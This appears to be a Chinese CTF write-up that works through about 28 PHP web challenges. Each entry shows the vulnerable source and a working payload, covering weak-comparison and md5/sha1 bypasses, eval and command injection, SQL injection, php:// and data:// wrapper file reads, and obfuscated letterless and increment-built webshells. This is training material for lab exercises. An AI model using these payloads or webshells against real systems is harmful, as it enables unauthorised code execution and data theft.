1.

1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY=
<?php error_reporting(0);
require __DIR__.'/lib.php'; echo base64_encode(hex2bin(strrev(bin2hex($flag)))), '<hr>'; highlight_file(__FILE__);

bin2hex:把十六进制值转换为 ASCII 字符。

strrev:反转字符串。

hex2bin:把十六进制值转换为 ASCII 字符。

python脚本:

binascii:binascii 模块包含很多在二进制和二进制表示的各种ASCII码之间转换的方法。

binascii.b2a _ hex:返回的二进制数据的十六进制
strrev:反转字符串。

binascii.a2b _ hex :执行反向操作。

import base64
import binascii
def strrev(string):
return string[::-1]
a="1wMDEyY2U2YTY0M2NgMTEyZDQyMjAzNWczYjZgMWI4NTt3YWxmY="
b=binascii.a2b_hex(strrev(binascii.b2a_hex(base64.b64decode(a))))
print (b)
c=strrev(binascii.b2a_hex(base64.b64decode(a)))
print c

2.

 <?php
error_reporting(0);
require __DIR__.'/lib.php';
if(isset($_GET['time'])){
if(!is_numeric($_GET['time'])){
echo 'The time must be number.';
}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
echo 'This time is too short.';
}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
echo 'This time is too long.';
}else{
sleep((int)$_GET['time']);
echo $flag;
}
echo '<hr>';
}
highlight_file(__FILE__);

直接写入结果需要等非常漫长的时间,但是通过科学计数法,我们只需要7秒,因为sleep函数的存在。

payload:http://148.70.62.239:23002/challenge2.php?time=7.776e6

3.

看到提示:challenge3.txt

所以转到view-source:http://148.70.62.239:23003/challenge3.txt
以下为php代码:

<?php
error_reporting(0);
echo "<!--challenge3.txt-->";
require __DIR__.'/lib.php';
if(!$_GET['id'])
{
header('Location: challenge3.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'Hahahahahaha';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
echo $flag;
}
else
{
print "work harder!harder!harder!";
}
?>

stripos() 函数:查找 "php" 在字符串中第一次出现的位置。

php弱比较:

<?php
var_dump("admin"==0); //true
var_dump("1admin"==1); //true
var_dump("admin1"==1) //false
var_dump("admin1"==0) //true
var_dump("0e123456"=="0e4456789"); //true
?>

==:等值符,当等号两边为相同类型时,直接比较值是否相等;当等号两边类型不同时,先转换为相同的类型,再对转换后的值进行比较,如果比较一个数字和字符串或者涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照常数值进行比较。

注意:如果该字符串没有包含'.','e','E'并且其数值值在整形的范围之内
该字符串被当作int来取值,其他所有情况下都被作为float来取值,字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。

strcmp漏洞绕过:

strcmp函数会比较两个字符串,如果str1>str2返回>0,相等就会返回=0.

但是当我们传入数组形式,例如test[]=aaaa那么此时函数类型不匹配,但php还会判断其相等,该漏洞应该在老的php版本里有效。

"arraysearch"与isarray"绕过:is_array:判断传入的是不是一个数组,arraysearch(x,$数组):在数组中寻找与指定值(x)相等的值,arraysearch函数 类似于"==",会进行类型的转换,所以有时候我们传入数组进行匹配,例如array[]=0,遇到字符串匹配那么此时就回成为admin==0,根据==的判断规则就会认为匹配了。

继续这道题:

第一部分id的取值:

这里有个if语句判断,此时可以看到有一个!号来进行取反,所以我们的id值应该为0或者是null,所以此时我们可以利用上面的弱比较,我们可以这么写:id=aaa123

第二部分a的取值:

看到if判断条件是不允许我们使用.的,下面filegetcontents能够读取我们传来的数据,但是我们无法进行文件操作,但是我们利用伪协议,php://input,使用post方式来传输数据,根据要求,post :1112 is a nice lab!此时就是:file_get_contents('php://input','r')

第三部分b的取值:

这里就有点搞了,根据他的要求,让我们既要跟111拼成1114,又让我们的第一位不能为4,并且长度要大于五。

利用%00截断,对于%00截断函数,他能终止substr函数,但是对于strlen则不会。

4.

<?php
error_reporting(0);
show_source(__FILE__); $a = @$_REQUEST['hello'];
eval("var_dump($a);");

payload:/challenge4.php?hello=);eval(phpinfo()此处我们利用了在php双引号会对包裹起来的字符串要进行扫描计算,所以拼接完成后会变成这样:eval("var_dump();eval(phpinfo());");在双引号当中已经被小执行了一次,留下了我们的shell。

5.

<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else{
echo '<p>Login first!</p>';
?>

在这里他既要求我们password不能相等,又要让我们在sha1下相等,看到两个等号以及sha1其实就已经可以知道是利用数组来进行绕过,

sha1 — 计算字符串的 sha1 散列值,在sha1()当中当有数组传入的时候,其返回值为NULL.

拓展:

md5加密相等绕过:

md5(s878926199a)=0e545993274517709034328855841020
md5(s155964671a)=0e342768416822451524974117254469
md5(s214587387a)=0e848240448830537924465865611904
md5(s1091221200a)=0e940624217856561557816327384675
md5(s1885207154a)=0e509367213418206700842008763514
md5(s1502113478a)=0e861580163291561247404381396064

当我们输入的md5是以0e开头的时候,我们可以使用以上值进行绕过,因为是关于科学计数法的。

6.

利用bool注入结合sqlmap得到一些基本的信息。

查看代码:

<?php
if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********", "*****", "********");
mysql_select_db("challenges") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]);
$sql = "select pwd from interest where uname='$user'";
$query = mysql_query($sql);
if (!$query) {
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC);
//echo $row["pwd"];
if (($row[pwd]) && (!strcasecmp($pass, $row[pwd]))) {
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
?>

此处我们需要满足:

if (($row[pwd]) && (!strcasecmp($pass, $row[pwd]))) {
echo "<p>Logged in! Key:************** </p>";}

这段代码的意思就是,我们要查询的user他是有pwd的,并且pwd列的值与md5要匹配。

strcasecmp函数判断结果为:

0 - 如果两个字符串相等
<0 - 如果 string1 小于 string2
>0 - 如果 string1 大于 string2

我们构造两个相等的即可。

payload:' union select "21232f297a57a5a743894a0e4a801fc3"#&pass=admin

8.

源代码:

<?php
ini_set("display_errors", "On");
error_reporting(E_ALL | E_STRICT);
if(!isset($_GET['c'])){
show_source(__FILE__);
die();
}
function rand_string( $length ) {
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
$size = strlen( $chars );
$str = '';
for( $i = 0; $i < $length; $i++)
{
$str .= $chars[ rand( 0, $size - 1 ) ];
}
return $str;
}
$data = $_GET['c'];
$black_list = array(' ', '!', '"', '#', '%', '&', '*', ',', '-', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', '<', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\\', '^', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '|', '~');
foreach ($black_list as $b) {
if (stripos($data, $b) !== false){
die("WAF!");
}
}
$filename=rand_string(0x20).'.php';
$folder='uploads/';
$full_filename = $folder.$filename;
if(file_put_contents($full_filename, '<?php '.$data)){
echo "<a href='".$full_filename."'>WebShell</a></br>";
echo "Enjoy your webshell~";
}else{
echo "Some thing wrong...";
}
?>

这段代码让我们传递变量c,但是要绕过黑名单,跟<?php组合在一起生成webshell,一定要执行才行,只是单纯传递一个绕过的不行。

构造无字母webshell:

<?php
$_=[].[];
$__='';
$_=$_[''];
$_=++$_;$_=++$_;$_=++$_;$_=++$_;
$__.=$_; // E
$_=++$_;$_=++$_;
$__=$_.$__; // GE
$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;$_=++$_;
$_=++$_;$_=++$_;$_=++$_;
$__.=$_; // GET
var_dump(${'_'.$__}[_](${'_'.$__}[__])); // $_GET['_']($_GET['__']);

关于无字母webshell的编写原理是利用到了异或,即二进制之间的异或转换。

A对应的二进制值是01000001   //由ascii转换而来
?对应的二进制值是00111111
异或的二进制的值是01111110 //对应为~

太骚了:https://www.cnblogs.com/ECJTUACM-873284962/p/9433641.html

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

<?php
@$_++; // $_ = 1
$__=("#"^"|"); // $__ = _
$__.=("."^"~"); // _P
$__.=("/"^"`"); // _PO
$__.=("|"^"/"); // _POS
$__.=("{"^"/"); // _POST
${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

合为一行:$__=("#"^"|").("."^"~").("/"^"").("|"^"/").("{"^"/");`

上传好最上方的payload,?_=system&__=cat%20../flag.php利用命令执行得到flag。

利用自增的shell:

<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__; $____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__; $_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
原理:'a'++ => 'b','b'++ => 'c'

9.

源代码:

<?php
if(isset($_REQUEST[ 'ip' ])) {
$target = trim($_REQUEST[ 'ip' ]);
$substitutions = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd = shell_exec( 'ping -c 4 ' . $target );
echo $target;
echo "<pre>{$cmd}</pre>";
}
show_source(__FILE__);

%0a换行符绕过。 payload:http://148.70.62.239:23009/challenge9.php?ip=12\7.\00.0.\1%0Acat%20flag.php

10.

源代码:

<?php
require __DIR__.'/flag.php';
if (isset($_POST['answer'])){
$number = $_POST['answer'];
if (noother_says_correct($number)){
echo $flag;
} else {
echo "Sorry";
}
} function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
# Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
# Disallow all the digits!
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
# Aha, digit not allowed!
return false;
}
}
# Allow the magic number ...
return $number == "3735929054";
} highlight_file(__FILE__);
?>

payload:answer=0xdeadc0de转换为16进制。

11.

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>

$GLOBALS['var']是外部全局变量的本身,而global $var则是外部$var的同名引用或者说是指针,也就是说global函数产生一个指向函数外部变量的别名变量,而不是真正的函数外部变量,而$GLOBALS[]确确实实调用的是外部的变量,函数内外都会始终保持一致。

https://www.freebuf.com/column/230907.html

12.

直接闭合:?hello=);var_dump(file("flag.php"));//

源代码:

<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);

14.

php伪协议:?path=php://filter/convert.base64-encode/resource=flag.php

15.

源代码:

<?php
if(isset($_GET) && !empty($_GET)){
$url = $_GET['file'];
$path = 'upload/'.$_GET['path'];
}else{
show_source(__FILE__);
exit();
} if(strpos($path,'..') > -1){
die('SYCwaf!');
} if(strpos($url,'http://127.0.0.1/') === 0){
file_put_contents($path, file_get_contents($url));
echo "console.log($path update successed!)";
}else{
echo "Hello.Geeker";
}

u1s1我刚开始被绕懵了,已经意识到了是写shell查看flag,而关键点就是在filegetcontent这里,并且path变量时我们可以控制的,不要相信用户的输入是很重要的,当我们传入一个path变量:<?php phpinfo();xxxxx前者是会被解析的,显示页面为console.log(upload/<?php phpinfo(); update successed!)而在页面中是没有的,此时我们再创建一个页面,将这个页面包含进去,那么php就会被解析。

payload:path=shell.php&file=http%3a%2f%2f127.0.0.1%2f%3fpath%3d<%3fphp%2bphpinfo()%3b%3f>%26file%3dhttp%3a%2f%2f127.0.0.1%2findex.php

fopen与file _ get_contents:

file _ get _ contents()打开网页后,返回的变量是一个字符串,可以直接输出的。

fopen()打开网页后,返回的变量不是字符串,不能直接输出的,还需要用到fgets()这个函数来获取字符串。fgets()函数是从文件指针中读取一行。文件指针必须是有效的,必须指向由 fopen() 或 fsockopen() 成功打开的文件

16.

源代码:

<?php
if (isset($_POST["submit"]))
{
if (isset($_POST['hihi']))
{
if (ereg("^[a-zA-Z0-9]+$", $_POST['hihi']) === FALSE)
{
exit('<script>alert("have fun:)")</script>');
}
elseif (strlen($_POST['hihi']) < 11 && $_POST['hihi'] > 999999999)
{
if (strpos($_POST['hihi'], '#HONG#') !== FALSE)
{
if (!is_array($_POST['hihi'])) {
include("flag.php");
echo "Congratulations! FLAG is : ".$flag;
}
else
{
exit('<script>alert("nonono")</script>');
}
}
else
{
exit('<script>alert("nonono")</script>');
}
}
else
{
exit('<script>alert("sorry")</script>');
}
}
}
show_source(__FILE__);
?>

根据代码可以判断,需要满足以下条件:

submit,hihi都存在, hint只能为字母或者字符串。
hihi长度要小于11位,但是值要大于9999999,并且包含#HONG#,并且不能为数组,这事就产生了冲突因为#HONG#是有特殊字符的。。

在查找ereg的时候看到了ereg()是具有截断漏洞的,所以我们加上截断就能跳过判断了。

17.

<?php
header("Content-type: text/html; charset=utf-8");
include('flag.php');
$smile = 1;
if (!isset ($_GET['^_^'])) $smile = 0;
if (ereg ('\.', $_GET['^_^'])) $smile = 0;
if (ereg ('%', $_GET['^_^'])) $smile = 0;
if (ereg ('[0-9]', $_GET['^_^'])) $smile = 0;
if (ereg ('http', $_GET['^_^']) ) $smile = 0;
if (ereg ('https', $_GET['^_^']) ) $smile = 0;
if (ereg ('ftp', $_GET['^_^'])) $smile = 0;
if (ereg ('telnet', $_GET['^_^'])) $smile = 0;
if (ereg ('_', $_SERVER['QUERY_STRING'])) $smile = 0;
if ($smile) {
if (@file_exists ($_GET['^_^'])) $smile = 0;
}
if ($smile) {
$smile = @file_get_contents ($_GET['^_^']);
if ($smile === "(●'◡'●)") die($flag);
}
show_source(__FILE__);
?>

分析代码:

一阿航啊if判断语句我们都不能匹配,否则无法获得flag。

data传输协议:

    data:,<文本数据>
data:text/plain,<文本数据>
data:text/html,<HTML代码>
data:text/html;base64,<base64编码的HTML代码>
data:text/css,<CSS代码>
data:text/css;base64,<base64编码的CSS代码>
data:text/javascript,<Javascript代码>
data:text/javascript;base64,<base64编码的Javascript代码>
data:image/gif;base64,base64编码的gif图片数据
data:image/png;base64,base64编码的png图片数据
data:image/jpeg;base64,base64编码的jpeg图片数据
data:image/x-icon;base64,base64编码的icon图片数据

关于:QUERY_STRING:

http://localhost/aaa/?p=222

$_SERVER['QUERY_STRING'] = "p=222";

$_SERVER['REQUEST_URI'] = "/aaa/?p=222";

$_SERVER['PHP_SELF']  = "/aaa/index.php";

payload:?^.^=data://text/plain;charset=unicode,(●’◡’●)说实话我没怎么理解。

payload:148.70.62.239:23017/challenge17.php?^.^=data://text/plain;charset=unicode,(●%27◡%27●) 我觉得可能是因为在传输过程中这些字符由于太过特殊而无法传递,所以我们先定下编码

18.

代码:

<?php
header("Content-type: text/html; charset=utf-8");
if(isset($_POST['login']))
{
if(isset($_POST['user']))
{
if(@strcmp($_POST['user'],$USER))//USER是被隐藏的复杂用户名[原题已有注释]
{
die('user错误!');
}
}
if (isset($_POST['name']) && isset($_POST['password']))
{
if ($_POST['name'] == $_POST['password'] )
{
die('账号密码不能一致!');
}
if (md5($_POST['name']) === md5($_POST['password']))
{
if(is_numeric($_POST['id'])&&$_POST['id']!=='72' && !preg_match('/\s/', $_POST['id']))
{
if($_POST['id']==72)
die("flag{xxxxxxxxxxxxx}");
else
die("ID错误2!");
}
else
{
die("ID错误1!");
}
}
else
die('账号密码错误!');
}
}
?>

好像之前有做过类似的,对于md5的绕过,我们利用弱比较,因为md5无法处理数组。关于72,我们使用科学计数法就可以了。

payload:`POST /challenge18.php HTTP/1.1
Host: 148.70.62.239:23018
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
Origin: http://148.70.62.239:23018
Connection: close
Referer: http://148.70.62.239:23018/
Upgrade-Insecure-Requests: 1 name[]=1&password[]=c&id=7.2e1&login=Check

当然加上一个点也可以:

POST /challenge18.php HTTP/1.1
Host: 148.70.62.239:23018
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 43
Origin: http://148.70.62.239:23018
Connection: close
Referer: http://148.70.62.239:23018/
Upgrade-Insecure-Requests: 1 name[]=1&password[]=c&id=72.000&login=Check

19.

源码:

<?php
error_reporting(0);
require_once('flag.php');
if(!isset($_GET['sss'])){
show_source('challenge19.php');
die();
}
$sss=$_GET['sss'];
if(strlen($sss)==666){
if(!preg_match("/[^0-6]/",$sss)){
eval('$sss='.$sss.';');
if($sss!=='0x666'){
if($sss=='0x666'){
echo $flag;
}
}
}
}
?>

根据判断条件我们将其转换为8进制即可,然后利用python打印出剩下的0即可。

20.

 <?php

require_once('flag.php');

if(empty($_GET['user'])) die(show_source(__FILE__));

$user = ['admin', 'xxoo'];

if($_GET['user'] === $user && $_GET['user'][0] != 'admin'){
echo $flag;
}
?>
1

漏洞:var_dump([0 => 0] === [0x100000000 => 0]); 在php版本为5.6及以下时,var_dump([0 => 0] === [0x100000000 => 0]);返回了true,那么根据条件我们想要满足的第一个条件就可以这样绕过了,第二个条件也满足了,因为此时就不存在数组第零项了,第一处也满足[0=>0]===xxxxx了。

21.

源代码:

<?php
require('flag.php'); if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))#要有可见字符,长度要大于十二
{
echo 'Wrong Format';
exit;
} while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))#按正则匹配至少要分出六组
break; $c = 0;
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1; #每匹配到一种c加一。
} if ($c < 3) break; #要匹配最少三次
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
} show_source(__FILE__);
POSIX Description ASCII Unicode Shorthand Java
[:alnum:] Alphanumeric characters [a-zA-Z0-9] [\p{L&}\p{Nd}]   \p{Alnum}
[:alpha:] Alphabetic characters [a-zA-Z] \p{L&}   \p{Alpha}
[:ascii:] ASCII characters [\x00-\x7F] \p{InBasicLatin}   \p{ASCII}
[:blank:] Space and tab [ \t] [\p{Zs}\t] \h \p{Blank}
[:cntrl:] Control characters [\x00-\x1F\x7F] \p{Cc}   \p{Cntrl}
[:digit:] Digits [0-9] \p{Nd} \d \p{Digit}
[:graph:] 可见字符(即空格,控制字符等除外) [\x21-\x7E] [^\p{Z}\p{C}]   \p{Graph}
[:lower:] Lowercase letters [a-z] \p{Ll}   \p{Lower}
[:print:] Visible characters and spaces (i.e. anything except control characters, etc.) [\x20-\x7E] \P{C}   \p{Print}
[:punct:] 标点和符号 [!”#$%&’()*+, -./:;<=>?@ [\]^_`{|}~] [\p{P}\p{S}]   \p{Punct}
[:space:] All whitespace characters, including line breaks [ \t\r\n\v\f] [\p{Z}\t\r\n\v\f] \s \p{Space}
[:upper:] Uppercase letters [A-Z] \p{Lu}   \p{Upper}
[:word:] Word characters (letters, numbers and underscores) [A-Za-z0-9_] [\p{L}\p{N}\p{Pc}] \w  
[:xdigit:] Hexadecimal digits [A-Fa-f0-9] [A-Fa-f0-9]   \p{XDigit}

关于preg _ match与preg _ match _ all:

preg_match 只匹配一次,preg _ match _ all是全文匹配返回完整匹配次数,即所有跟表达式一致的都找出来。

http://148.70.62.239:23021/challenge21.php

payload:password=4200.0000e-2发送如下数据。

22.

 <?php

require('flag.php');
if (isset($_GET['src']))
highlight_file(__FILE__) and die();
if (isset($_GET['md5']))
{
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "Wonderbubulous! Flag is ".$flag;
else
echo "Nah... '",htmlspecialchars($md5),"' not the same as ",md5($md5);
}
?>

要求我们满足:($md5==md5($md5))这个条件我们要找到一个以0e开头的字符串,经过md5后他依然为0e开头,放入我们就可以利用弱比较进行绕过。

0e215962017这个在这道题下就ok //0e215962017
0e291242476940776845150308577824

23.

<?php
highlight_file(__FILE__);
@$k1=$_GET['key1'];
@$k2=$_GET['key2'];
if(@file_get_contents($k1)==="Hello hacker!"){
echo 'welcome! Hacker!<br>';
if(md5($k2)>666666*666666)
{
include('flag.php');
@$k3=$_GET['key3'];
@$k4=$_GET['key4'];
if(intval($k3)<666)
{
if($k3==666)
{
echo 'Come on, flag is coming<br>';
if($k4>0)
{
if(intval($k3+$k4)<666)
echo $flag;
}
}
}else{
exit();
}
}else{
exit();
}
}else{
exit();
}
?>

关于key1:因为是file _ get _ content利用data伪协议传递参数,http://148.70.62.239:23023/challenge23.php?key1=data://text/plain;base64,SGVsbG8gaGFja2VyIQ==

关于key2:找一个全是数字的,或者是只包含有e和数字的,例如1518375。
关于key3:利用科学计数法,直接66.6e1即可,但是看周周的解法是使用精度绕过665.9999999999999999999,还可以使用十六进制绕过0x29a。

关于key4:我尝试使用00截断没用,也尝试使用././././././././././././././././././././././././././././././././././././././././././././././././绕过但好像不行,看了思路是利用溢出,因为intval判断范围有限。

payload:http://148.70.62.239:23023/challenge23.php?key1=data://text/plain;base64,SGVsbG8gaGFja2VyIQ==&key2=1518375&key3=66.6e1&key4=999999999999999999999999999999999999999999999999999999

24.

<?php
show_source(__FILE__);
$v1=0;$v2=0;$v3=0;
$a=(array)json_decode(@$_GET['foo']);
if(is_array($a)){
is_numeric(@$a["bar1"])?die("nope"):NULL;
if(@$a["bar1"]){
($a["bar1"]>2016)?$v1=1:NULL;
}
if(is_array(@$a["bar2"])){
if(count($a["bar2"])!==5 OR !is_array($a["bar2"][0])) die("nope");
$pos = array_search("nudt", $a["a2"]);
$pos===false?die("nope"):NULL;
foreach($a["bar2"] as $key=>$val){
$val==="nudt"?die("nope"):NULL;
}
$v2=1;
}
}
$c=@$_GET['cat'];
$d=@$_GET['dog'];
if(@$c[1]){
if(!strcmp($c[1],$d) && $c[1]!==$d){
eregi("3|1|c",$d.$c[0])?die("nope"):NULL;
strpos(($c[0].$d), "htctf2016")?$v3=1:NULL;
}
}
if($v1 && $v2 && $v3){
include "flag.php";
echo $flag;
}
?>

根据最后的代码进行判断,我们可以发现,我们要满足,v1,v2,v3都为1,就是要满足三种条件,依次分析:

v1满足的条件为:

当我们传入foo的时候,php会先将其转换为json格式,然后会将其在转换为数组,并且判断数组a的bar1部分其值是否为数字,然后判断是否大于2016。

解决方法:利用弱比较,即2017a即可。

v2满足条件:

因为这里是or属性,必须让他为假才行,所以这两个条件要么都是真,要么都是假:

根据推理可得,这段数组必须要有五对,同时他的第零项也要为数组,再看if判断条件可得:$a["a2"] = “nudt”,并且$a["bar2"]不包含nudt。

解决方法:$a["bar2"] = [[],2,3,4,5],$a["a2"] = “nudt”

v3满足条件:

获取cat,dog。满足if的两个条件都要为真,所以c[1]长度要小于d且他们不一致,c[0]d里面不能有关于3,1,c的任意一个字符串。

将c[0],d拼接在一起里面的字符串要有htctf2016.
解决方法:使用%00截断eregi函数,最后$c[0] = "ahtctf2016"

满足以上三段条件。

最终payload:?foo={“bar1”:”2017e”,”bar2”:[[],2,3,4,5],”a2”:[“nudt”]}&cat[0]=ahtctf2016&cat[1][]=&dog=%00

25.

<?php
error_reporting(0);
require __DIR__."/flag.php"; $url = urldecode($_SERVER['REQUEST_URI']);
$url_query = parse_url($url, PHP_URL_QUERY); $params = explode("&", $url_query);
foreach($params as $param){ $idx_equal = strpos($param, "=");
if($idx_equal === false){
$key = $param;
$value = "";
}else{
$key = substr($param, 0, $idx_equal);
$value = substr($param, $idx_equal + 1);
} if(strpos($key, "do_you_want_flag") !== false || strpos($value, "yes") !== false){
die("no hack");
}
} if(isset($_GET['do_you_want_flag']) && $_GET['do_you_want_flag'] == "yes"){
die($flag);
} highlight_file(__FILE__);

payload:http://148.70.62.239:23025///?do_you_want_flag=yes

此处利用到了parse_url的解析漏洞:

详情:parseurl()会把//认为是相对路径(5.4.7以前),两个斜杠直接使得后面为host名而之后的/就会被认为是相对路径。





对于高版本的php的来说 直接/// 三个斜杠就可以直接解决方便 ,因为其导致 严重不合格的 URL,parse
url() 返回FALSE 这个是通用的绕过方法

https://blog.csdn.net/q1352483315/article/details/89672426

26.

<?php
error_reporting(0);
require __DIR__.'/flag.php'; $value = $_GET['value']; $username = $_GET['username'];
$password = $_GET['password']; for ($i = 0; $i < count($value); ++$i) {
if ($_GET['username']) unset($username); #有用户名会被重置
if ($value[$i] > 32 && $value[$i] < 127) unset($value); #不让我们输入32到127之间的数字以转换ASCII码
else $username .= chr($value[$i]); #使用chr函数生成用户名进行拼接 if ($username == '15th_HackingCamp' && md5($password) == md5(file_get_contents('./secret.passwd'))) { #此处需要用户名
echo 'Hello '.$username.'!', '<br>', PHP_EOL;
echo $flag, '<hr>';
}
} highlight_file(__FILE__);

关于这段代码:它让我们传递三个参数,值,用户名和密码,分析以上代码,我们可以发现解决这道题的关键在于如何绕过。

注意:ord() 函数返回字符串的首个字符的 ASCII 值。

<?php
$i=0;
while ($i <= 100) {
$test = $i."e1";
if ($test > 32 && $test < 127)
{
}
else
{
if ((ord(chr($test))>32)&&(ord(chr($test))<127))
{
echo "test:".$test." chr:".chr($test)."\n";
}
}
$i = $i+0.1;
}

脚本生成,然后进行拼接绕过,原理我也不清楚,但是我算了一下当大于256时,他又开始进行了一次轮回,我们往上叠加此时256+65我们输入321,chr(321)转换完之后是A,跟chr(65)是一样的,依次下去我们再加256同样输出还是A,所以我们可以利用这个特性,配合科学计数法进行绕过。

27.

<?php
error_reporting(0);
session_start(); if(isset($_GET['username'], $_GET['password'])){ if(isset($_SESSION['hard_login_check'])){
echo 'Already logged in..'; }else if(!isset($_GET['username']{3}) || strtolower($_GET['username']) != $hidden_username){
echo 'Wrong username..'; }else if(!isset($_GET['password']{7}) || $_GET['password'] != $hidden_password){
echo 'Wrong password..'; }else{
$_SESSION['hard_login_check'] = true;
echo 'Login success!';
header('Location: ./');
} echo '<hr>';
} highlight_file(__FILE__);

抓包截取跳转页面。

28.

<?php
error_reporting(0);
require __DIR__.'/flag.php'; if(isset($_GET['say']) && strlen($_GET['say']) < 20){ $say = preg_replace('/^(.*)flag(.*)$/', '${1}<!-- filtered -->${2}', $_GET['say']); if(preg_match('/give_me_the_flag/', $say)){
echo $flag;
}else{
echo 'What the f**k?';
} echo '<hr>';
} highlight_file(__FILE__);

正则表达式缺陷:payload:?say=%0agive_me_the_flag,因为用于任意字符匹配并不包括换行符。

29.

<?php
error_reporting(0);
require __DIR__.'/flag.php'; $exam = 'return\''.sha1(time()).'\';'; if (!isset($_GET['flag'])) {
echo '<a href="./?flag='.$exam.'">Click here</a>';
}
else if (strlen($_GET['flag']) != strlen($exam)) {
echo 'Not allowed length';
}
else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
echo 'Not allowed keyword';
}
else if (eval($_GET['flag']) === sha1($flag)) {
echo $flag;
}
else {
echo 'What\'s going on?';
} echo '<hr>'; highlight_file(__FILE__); <?php
$s=sha1(time());
echo $s;
?>

发现每时每刻长度都固定: 3e16f4fb5552eea3a9ca69b4a3b34fa00cc47900

eeb3d8c9d23853b5cdd9ff5b99b6032562b51ddd
b3b67a4905a90a58ad871c6fa24b6740f1530b86
